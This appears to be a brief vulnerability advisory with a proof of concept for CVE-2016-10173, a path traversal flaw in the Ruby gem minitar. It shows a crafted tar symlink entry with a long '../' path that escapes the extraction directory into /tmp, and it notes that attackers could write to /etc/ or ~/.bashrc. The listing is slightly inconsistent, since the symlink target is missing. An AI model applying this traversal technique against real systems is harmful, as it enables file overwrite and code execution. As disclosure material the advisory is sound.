Ruby Gem Minitar Path Traversal (CVE-2016-10173)

Minitar and archive-tar-minitar module allows to overwrite or create arbitrary files via relative filenames and executing malicious code, e.g. by writing to /etc/, ~/.bashrc.

Proof of Concept

~/current/tar_symlink ❯ tar -tvf symlink-overwrite.tar
lrwxrwxrwx  0 0      0           0 Jan  1  1970 ../../../../../../../../../../../../../../tmp/qwerty→

# Actual behaviour:
~/current/tar_symlink ❯ rm -rf /tmp/qwerty1234
~/current/tar_symlink ❯ minitar extract symlink-overwrite.tar
~/current/tar_symlink ❯ ls -al /tmp/qwerty1234
-rwxrwxrwx 1 anon wheel 0 Jan 12 22:44 /tmp/qwerty1234

# Desired behaviour:
~/current/tar_symlink ❯ tar -xf symlink-overwrite.tar
../../../../../../../../../../../../../../tmp/qwerty1234: Path contains '..'
tar: Error exit delayed from previous errors.